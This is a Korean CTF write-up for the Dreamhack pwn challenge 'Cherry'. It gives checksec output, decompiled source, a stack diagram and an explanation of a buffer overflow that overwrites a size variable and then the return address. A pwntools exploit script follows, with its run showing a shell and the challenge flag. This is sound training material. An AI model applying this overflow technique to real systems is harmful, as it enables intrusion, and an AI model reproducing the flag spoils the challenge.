Description
주어진 바이너리와 소스 코드를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag.txt
파일에 있습니다.
플래그의 형식은 DH{…} 입니다.
checksec
iotfragile@iotfragile:~/CTF/Cherry$ checksec --file ./chall [*] '/home/iotfragile/CTF/Cherry/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
chall (Decompiled-src)
int __fastcall main(int argc, const char **argv, const char **envp) { char buf[6]; // [rsp+18h] [rbp-18h] BYREF int v5; // [rsp+1Eh] [rbp-12h] BYREF __int16 v6; // [rsp+22h] [rbp-Eh] int v7; // [rsp+24h] [rbp-Ch] int fd; // [rsp+28h] [rbp-8h] int v9; // [rsp+2Ch] [rbp-4h] v9 = 0; fd = 1; v5 = 0x72656863; v6 = 0x7972; v7 = 0x10; initialize(argc, argv, envp); write(1, "Menu: ", 6uLL); read(0, buf, 0x10uLL); if ( !strncmp(buf, "cherry", 6uLL) ) { write(fd, "Is it cherry?: ", 0xFuLL); read(v9, &v5, v7); } return 0; }
Stack
=========================
RET
=========================
RBP
=========================
stdin (=0) [4bytes] <- rbp – 0x4
=========================
stdout (=1) [4bytes] <- rbp – 0x8
=========================
buf_size (=v7) [4bytes] <- rbp-0xc
=========================
v6 [2bytes] <- rbp – 0xe
=========================
fruit(=v5) [4bytes] <- rbp-0x12
=========================
buf[6] [6bytes] <- rbp-0x18
=========================
Solution
- buf를 read로 입력받는데 지정된 6바이트 크기보다 더 큰 “16”바이트를 입력받을 수 있다. (버퍼 오버플로우 발생)
따라서 buf_size인 v7까지 덮어쓸 수 있기 때문에 두번쨰 실행될 read 함수에서도 크기에 상관없이 입력받을 수 있다. - RET까지 침범시켜 RET 주소를 flag 주소인 0x4012BC로 덮어씌워서 쉘을 획득하면 된다.
from pwn import * context.log_level = 'debug' context(arch='amd64',os='linux') warnings.filterwarnings('ignore') p = remote('host3.dreamhack.games', 23200) p.recvuntil("Menu: ") payload = b"cherry" + b"A"*10 p.send(payload) p.recvuntil("Is it cherry?: ") payload = b"A"*(0x12+8) + p64(0x4012BC) p.send(payload) p.interactive()
Result
PS C:\Users\Seo Hyun-gyu\Downloads\678c0f29-2cf8-41d8-8d66-a2c17d4c3f9a (1)> python3 solve.py [x] Opening connection to host3.dreamhack.games on port 23200 [x] Opening connection to host3.dreamhack.games on port 23200: Trying 23.81.42.210 [+] Opening connection to host3.dreamhack.games on port 23200: Done [*] Switching to interactive mode ls chall flag cat flag DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}
FLAG
DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}